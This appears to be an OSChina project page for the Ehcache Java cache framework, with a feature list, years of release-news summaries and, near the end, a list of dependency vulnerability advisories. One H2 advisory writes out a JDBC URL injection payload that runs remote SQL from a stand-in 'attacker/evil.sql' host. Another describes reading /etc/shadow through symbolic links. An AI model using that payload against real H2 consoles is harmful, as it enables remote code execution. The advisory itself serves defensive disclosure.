Ehcache is participating 2021 OSC China Open Source Project Selection , please vote for it!
Ehcache in 2021 OSC China Open Source Project Selection {{projectVoteCount} has been obtained in, please vote for it!
2021 OSC China Open Source Project Selection It is in hot progress. Come and vote for your favorite open source project!
2021 OSC China Open Source Project Selection>>> Midfield Review
Ehcache won the 2021 OSC China Open Source Project Selection "The Best Popularity Project" !
Authorization Agreement Apache-2.0
development language Java View source code »
operating system Cross platform
Software type Open source software
Open source organizations nothing
region Unknown
deliverer Unknown
intended for unknown
Recording time 2008-09-07

Software Introduction

EhCache is a pure Java in process cache framework, which is fast and lean. It is the default CacheProvider in Hibernate.

The following figure shows the location of Ehcache in the application:

The main characteristics are:

1. Fast
2. Simple
3. Multiple cache strategies
4. Cache data has two levels: memory and disk, so there is no need to worry about capacity
5. Cache data will be written to disk during virtual machine restart
6. Distributed caching can be performed through RMI, pluggable API, etc
7. Listening interface with cache and cache manager
8. Support multiple cache manager instances and multiple cache regions of an instance
9. Provide Hibernate cache implementation
10. Wait

Expand to read the full text

code

Gitee index of is
exceed Items for

comment

Click to join the discussion 🔥 (14) Post and join the discussion 🔥
Published information
2018/09/27 11:27

Ehcache 3.6.1 Release, Java Cache Framework

Ehcache 3.6.1 has been released. EhCache is a pure Java in process cache framework, which is fast and lean, and is the default CacheProvider in Hibernate. As before, Ehcache 3.6.1 contains many bug fixes and feature improvements. Main module <dependency>   <groupId>org.ehcache</groupId>   <artifactId>ehcache</artifactId>   <version>3.6.1</version> </dependency> Transactions module <dependency>   <groupId>org.ehcache</groupId>   ...

one
seven
Published information
2018/03/18 21:29

Ehcache 3.5.2 Release, Java Cache Framework

Ehcache 3.5.2 has been released. EhCache is a pure Java in process cache framework, which is fast and lean, and is the default CacheProvider in Hibernate. Update: # 2337: Ensure we break out of connect loop when the entity does not exist

zero
five
Published information
2018/03/16 10:11

Ehcache 3.5.1 Release, Java Cache Framework

Ehcache 3.5.1 has been released. EhCache is a pure Java in process cache framework, which is fast and lean, and is the default CacheProvider in Hibernate. Update content: The default class loader should be used to work correctly in a J2EE container Upgrade to Grade 4.5.1 Upgrade commons lang to 3.7 Put classes using unsafe in a directed sourceSet to allow using - Wear on impl [DO NOT MERGE] Replace ConcurrentHashMap by NonBloc

three
six
Published information
2018/02/23 17:17

Ehcache 3.5.0 Release, Java Cache Framework

Ehcache 3.5.0 has been released. EhCache is a pure Java in process cache framework, which is fast and lean, and is the default CacheProvider in Hibernate. Update content: Upgrade commons lang to 3.7 Put classes using unsafe in a dedicated sourceSet to allow using - Error on impl [DO NOT MERGE] Replace ConcurrentHashMap by NonBlockingHashMap Migrate to Java 9 CHM Upgrade to Java 8 ConcurrentHashMap Download address: Source code (zip) Sour

three
three
Published information
2017/08/30 08:01

Ehcache 3.4.0 Release, Java Cache Framework

Ehcache 3.4.0 has been released. EhCache is a pure Java in process caching framework, which is fast and lean, and is the default CacheProvider in Hibernate. This version has greatly improved the Terracotta server. Ehcache 3.3. x and 3.4. y are incompatible. It is recommended to upgrade to the latest version. The 3.4 series is also likely to be the last version to support Java 6. The upcoming Ehcache 3.5.0 plan will be transferred to Java 8 and above. Updated content of this version: Fixed the too strict regex in cluster connection that prevent

two
nineteen
Published information
2017/04/01 07:49

Ehcache 3.3.1 and 3.3.2 release, Java cache framework

EhCache is a pure Java in process cache framework, which is fast and lean. It is the default CacheProvider in Hibernate. EhCache 3.3.1 is the first maintenance version of Ehcache 3.3. The update is as follows: it fixes the cache loader and multi-level problems, and solves the problems that OSGi supports for the ehcache cluster. Some specific bug fixes and all 3.2.2 fixes download addresses and more details can be found in the release log

two
thirteen
Published information
2017/02/28 09:30

Ehcache 3.3.0 Release, Java Cache Framework

Ehcache 3.3.0 released that EhCache is a pure Java in process cache framework, which is fast and lean, and is the default CacheProvider in Hibernate. This version mainly makes major cluster performance improvements, and more relevant information will be available in the next few weeks. See the release homepage for complete update information. Download address: Source code (zip) Source code (tar. gz)

five
seventeen
Published information
2016/12/13 09:31

Ehcache 3.2.0 Release, Java Cache Framework

Ehcache 3.2.0 released that EhCache is a pure Java in process cache framework, which is fast and lean, and is the default CacheProvider in Hibernate. Update: Terracotta's high availability support: Now you can run two or more terracotta servers to have high availability in case of failure. Improve performance and stability on the basis of Terracotta 5. Ehcache and Terracotta services are compatible in the same major. minor version. For details, see the update log download address: Source code (zip) Source code (tar. gz)

four
fifteen
Published information
2016/11/08 10:01

Ehcache 3.2.0.beta1 Release, Java Cache Framework

Ehcache 3.2.0.beta1 has been released. EhCache is a pure Java in process cache framework, which is fast and lean. It is the default CacheProvider in Hibernate. Update: High availability support with Terracotta: You can now run two terracotta servers in order to have high availability in case of failure Note: Because Ehcache 3 supported by the Terracotta server is still in the testing phase, the publishing points are not cross compatible. Therefore, when updating Ehcache 3.1. X or Terracotta servers, you must use

three
eight
Published information
2016/09/13 00:00

Ehcache 3.1.2 Release, Java Cache Framework

Ehcache 3.1.2 released that EhCache is a pure Java in process cache framework, which is fast and lean, and is the default CacheProvider in Hibernate. Updated content: Clarifications and bug fix on PersistentCacheManager.destroyCache Fix for using clustered caches with JCache/JSR-107 while activating MBeans Performance improvements for clustering Many bug fixes Note: Since Ehcache 3 supported by the Terracotta server is still in the testing phase, the release point will not be handed over

one
sixteen
Published information
2016/08/08 00:00

Ehcache 3.0.3 Release, Java Cache Framework

Ehcache 3.0.3 is the third maintenance version of Ehcache 3.0. EhCache is a pure Java in process cache framework, which is fast and lean, and is the default CacheProvider in Hibernate. The following figure shows the location of Ehcache in the application: The updated contents are as follows: Fixes related to JCache integration when using multiple tiers Many documentation improvements And other bug fixes Please check the detailed update log: https://github.com/ehcache/ehcache3/releases/tag/v3.0.3 Download address:

three
twelve
Published information
2016/07/20 00:00

Ehcache 3.1.1 Release, Java Cache Framework

Ehcache 3.1.1 was released. EhCache is a pure Java in process cache framework, which is fast and lean. It is the default CacheProvider in Hibernate. The following figure shows the position of Ehcache in applications: this release mainly fixes a large number of bugs and adds some new features. This version can be obtained directly from Maven Central. Download address: https://github.com/ehcache/ehcache3/releases/tag/v3.1.1...

fourteen
twenty-three
Published information
2016/07/01 00:00

Ehcache 3.1.0 Release, Java Cache Framework

Ehcache 3.1.0 released that EhCache is a pure Java in process cache framework, which is fast and lean, and is the default CacheProvider in Hibernate. In this version, some modules are added to the main ehcache jar. At the same time, some business modules are also split, and the split module is completely decoupled from the main module, making the program more robust. For more information, see the full release notes. Download address: http://www.ehcache.org/downloads/...

eight
twenty
Published information
2016/06/08 00:00

Ehcache 3.0.2 release, bug repair version

Ehcache 3.0.2 was released. This version mainly fixes known bugs: bug fixes when using multiple tiers, including fix for persistent caches using primary arrays, And other bug fixes... Download address: https://github.com/ehcache/ehcache3/releases/tag/v3.0.2 EhCache is a pure Java in process cache framework, which is fast and lean. It is the default CacheProvider in Hibernate. The following figure shows the position of Ehcache in the application: the main features are: 1 Fast 2. Simple

two
seventeen
Published information
2016/04/16 00:00

Ehcache 3.0.0 officially released, Java cache framework

The official version of Ehcache 3.0.0 has finally been released, which is a major new version. The improvements worth paying attention to include: using Java generics to reconstruct the cache API, simplifying cache interaction, fully compatible with javax. cache API (JSR-107), and supporting Offheap storage, The detailed improvement record of Spring cache integration, including only using the off heap cache to improve the performance based on Ehcache 2. x, is shown in: https://github.com/ehcache/ehcache3/releases/tag/v3.0.0...

six
forty
Published information
2016/04/09 00:00

Ehcache 3.0.0.rc3 Release, Java cache framework

Ehcache 3.0.0.rc3 has been released! EhCache is a pure Java in process cache framework, which is fast and lean. It is the default CacheProvider in Hibernate. The following contents deserve attention in this version: A major change that makes caches have no default size, which impacts CacheConfigurationBuilder API and XML, A few final tweaks on public API, more performance and documentation improvements, And many more improvements and bug fixes Download address: htt

zero
thirteen
Published information
2016/03/28 00:00

Ehcache 3.0.0.rc2 released, Java cache framework

Ehcache 3.0.0.rc2 has released that EhCache is a pure Java in process cache framework, which is fast and lean, and is the default CacheProvider in Hibernate. Update log: more performance improvements, more documentation improvements, And many more improvements and bug fixes Download address: ehcache-3.0.0.rc2-spi-javadoc.jar ehcache-3.0.0.rc2.jar Source code (zip) Source code (tar. gz)

four
thirty-two
Published information
2016/03/14 00:00

Ehcache 3.0.0.rc1 released, Java cache framework

Ehcache 3.0.0.rc1 has been released. EhCache is a pure Java in process cache framework, which is fast and lean. It is the default CacheProvider in Hibernate. The update of this version mainly focuses on the improvement of the performance optimization document, which fixes a large number of bugs. Download from ehcache-3.0.0.rc1.jar Source code (zip) Source code (tar. gz)

eight
twenty-six
Published information
2016/02/24 00:00

Ehcache Milestone 5 Release, Java Cache Framework

Ehcache Milestone 5 has been released. The improvements include: Support for byte sizing on head, Reworked cache event listener system, Many improvements in configuration builders, Alignment at the XML configuration level to offer better consistency, More fixes to tiering which would expose internal state, Many more improvements and bug fixes Download address: https://github.com/ehcache/ehcache3/releases/tag/v3.0.0.m5...

three
fourteen
Published information
2015/11/24 00:00

Ehcache 3.0.0.m4 Release, Java Cache Framework

Ehcache 3.0.0.m4 was released. This version has the following improvements: simplify and refactor the write behind implementation. When configuring the cache, the CacheLoaderWriter can be passed, and the instance Handling of exceptions from user provided Expiry of Serializer and Copier can be passed, EvictionVeto and EvictionPrioritizer, OSGi readiness - that is the ehcache 3 jar carries valid bundle information in its manifest, Fixes to tiering which would expose internal state, Many more improvement...

ten
thirty-three
No more
Loading failed, please refresh the page
Click to load more
Loading
next page
{{o.pubDate | formatDate}}

{{formatAllHtml(o.title)}}

{{parseInt(o.replyCount) | bigNumberTransform}}
{{parseInt(o.viewCount) | bigNumberTransform}}
No more
No content temporarily
Issued a question and answer
{{o.pubDate | formatDate}}

{{formatAllHtml(o.title)}}

{{parseInt(o.replyCount) | bigNumberTransform}}
{{parseInt(o.viewCount) | bigNumberTransform}}
No more
No content temporarily
H2 database permission check improper vulnerability
Improper link resolution before file access (link following)
H2 is an embeddable database management system written in Java. There is a security vulnerability in H2 1.4.197 and earlier. Due to improper permission judgment in the backup function code, attackers can use this vulnerability to read files with H2 process permissions by creating symbolic links to forged database files. Depending on H2 process permissions, files beyond the attacker's permissions may be read, such as/etc/shadow.
CVE-2018-14335 MPS-2018-10344
2023-12-20 20:04
JNDI injection vulnerability exists in H2 database
Deserialization
H2 is an embeddable database management system written in Java. In the H2 database implementation before 2.0.206, the getConnection method takes the class name of the driver and the URL of the database as parameters. An attacker can use this vulnerability to pass the JNDI driver name and the URL to the LDAP or RMI server, thus causing remote code execution. The H2 console does not open remote access by default. When external access is enabled through - webAllowOthers or in the interface, it is vulnerable to attacks and arbitrary code execution.
CVE-2021-42392 MPS-2021-33243
2023-12-20 20:04
Com. beust: jcommander contains function routine vulnerability from untrusted control range
Include function routines from untrusted control range
Com. beust: jcommander is the command line parsing framework of Java. Because the dependency on the insecure channel (http) is resolved, the affected version of this package is vulnerable to the resolution of the insecure dependency.
MPS-2022-12225
2023-12-20 20:04
H2 Console Code Injection Vulnerability
Code injection
H2 is an embeddable database management system written in Java, which provides a console module for database management operations through web access. There is a flaw in the getConnection method implementation in h2/src/main/org/h2/server/web/WebServer.java in H2Console before 2.1.210, which allows attackers to inject parameters in the passed in JDBC URL. When jdbc: h2: mem: 1337 is passed in; IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM ' http://attacker/evil.sql ';'\ The database will be automatically created and the remote malicious sql will be loaded. The attacker can execute arbitrary code in combination with the trigger set in the sql.
CVE-2022-23221 MPS-2022-1435
2023-12-20 20:04
No more
Loading failed, please refresh the page
Click to load more
Loading
next page
fourteen comment
seven hundred and eighty-eight Collection
 OSCHINA
Log in to view more high-quality content
 Back to top
Top